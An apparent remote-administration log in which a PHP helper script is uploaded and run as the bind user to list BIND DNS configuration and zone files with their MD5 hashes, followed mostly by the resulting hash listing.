MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 18:22:42: Establishing a connection
2026-04-22 18:22:42: 

PUT: /tmp/pkp316403

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 18:22:42: 

runuser -l bind -s /bin/bash -c '/tmp/pkp316403; rm /tmp/pkp316403'

2026-04-22 18:22:42: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
